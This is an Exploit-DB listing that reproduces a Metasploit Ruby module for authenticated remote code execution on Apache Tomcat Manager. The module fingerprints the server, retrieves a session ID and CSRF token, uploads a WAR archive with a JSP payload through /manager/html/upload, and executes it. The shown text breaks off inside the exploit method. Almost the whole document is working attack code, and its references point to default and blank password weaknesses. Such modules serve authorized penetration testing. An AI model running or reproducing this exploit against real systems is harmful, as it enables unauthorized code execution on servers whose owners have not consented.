Exploit-DB #31433
Description: Apache Tomcat Manager - Application Upload (Authenticated) Code Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2014-02-05
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }

  CSRF_VAR = 'CSRF_NONCE='

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Apache Tomcat Manager Application Upload Authenticated Code Execution',
      'Description' => %q{
        This module can be used to execute a payload on Apache Tomcat servers that
        have an exposed "manager" application. The payload is uploaded as a WAR archive
        containing a jsp application using a POST request against the /manager/html/upload
        component.

        NOTE: The compatible payload sets vary based on the selected target. For
        example, you must select the Windows target to use native Windows payloads.
      },
      'Author'      => 'rangercha',
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          # This is based on jduck's tomcat_mgr_deploy.
          # the tomcat_mgr_deploy o longer works for current versions of tomcat due to
          # CSRF protection tokens. Also PUT requests against the /manager/html/deploy
          # aren't allowed anymore.

          # There is no single vulnerability associated with deployment functionality.
          # Instead, the focus has been on insecure/blank/hardcoded default passwords.

          #  The following references refer to HP Operations Manager
          ['CVE', '2009-3843'],
          ['OSVDB', '60317'],
          ['CVE', '2009-4189'],
          ['OSVDB', '60670'],

          # HP Operations Dashboard
          ['CVE', '2009-4188'],

          # IBM Cognos Express Default user/pass
          ['BID', '38084'],
          ['CVE', '2010-0557'],
          ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179'],

          # IBM Rational Quality Manager and Test Lab Manager
          ['CVE', '2010-4094'],
          ['ZDI', '10-214'],

          # 'admin' password is blank in default Windows installer
          ['CVE', '2009-3548'],
          ['OSVDB', '60176'],
          ['BID', '36954'],

          # tomcat docs
          ['URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html']
        ],
      'Platform'    => %w{ java linux win }, # others?
      'Targets'     =>
        [
          [ 'Java Universal',
            {
              'Arch'     => ARCH_JAVA,
              'Platform' => 'java'
            }
          ],
          #
          # Platform specific targets only
          #
          [ 'Windows Universal',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          [ 'Linux x86',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'linux'
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Nov 09 2009'))

    register_options(
      [
        OptString.new('USERNAME', [false, 'The username to authenticate as']),
        OptString.new('PASSWORD', [false, 'The password for the specified username']),
        # /cognos_express/manager/ for Cognos Express (19300)
        OptString.new('TARGETURI', [true, "The URI path of the manager app (/html/upload and /undeploy will be used)", '/manager'])
      ], self.class)
  end

  def check
    res = query_manager
    disconnect

    return CheckCode::Unknown if res.nil?

    if res.code.between?(400, 499)
      vprint_error("#{peer} - Server rejected the credentials")
      return CheckCode::Unknown
    end

    return CheckCode::Safe unless res.code == 200

    # if res.code == 200
    #   there should be access to the Tomcat Manager and to the status page
    res = query_status
    return CheckCode::Unknown unless res

    plat = detect_platform(res.body)
    arch = detect_arch(res.body)
    return CheckCode::Unknown unless plat and arch

    vprint_status("#{peer} - Tomcat Manager found running on #{plat} platform and #{arch} architecture")

    report_auth_info(
      :host   => rhost,
      :port   => rport,
      :sname  => (ssl ? "https" : "http"),
      :user   => datastore['USERNAME'],
      :pass   => datastore['PASSWORD'],
      :proof  => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
      :active => true
    )

    return CheckCode::Appears
  end

  def exploit
    @app_base = rand_text_alphanumeric(4 + rand(32 - 4))
    @jsp_name = rand_text_alphanumeric(4 + rand(32 - 4))

    #
    # Find the session ID and the CSRF token
    #
    print_status("#{peer} - Retrieving session ID and CSRF token...")
    unless access_manager?
      fail_with(Failure::Unknown, "Unable to access the Tomcat Manager")
    end

    #
    # Upload Payload
    #
    print_status("#{peer} - Uploading and deploying #{@app_base}...")
    if upload_payload
      report_auth_info(
        :host   => rhost,
        :port   => rport,
        :sname  => (ssl ? "https" : "http"),
        :user   => datastore['USERNAME'],
        :pass   => datastore['PASSWORD'],
        :proof  => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
        :active => true
      )
    else
      fail_with(Failure::Unknown, "Upload failed")
    end

    #
    # Execute Payload
    #
    print_status("#{peer} - Executing #{@app_base}...")
    unless execute_payload
      fail_with(Failure::Unknown, "Failed to execute the payload")
    end

    #
    # Get the new CSRF token & session id
    #
    unless access_manager?
      fail_with(Failure::Unknown, "Unable to access the Tomcat Manager")
    end

    #
    # Delete the d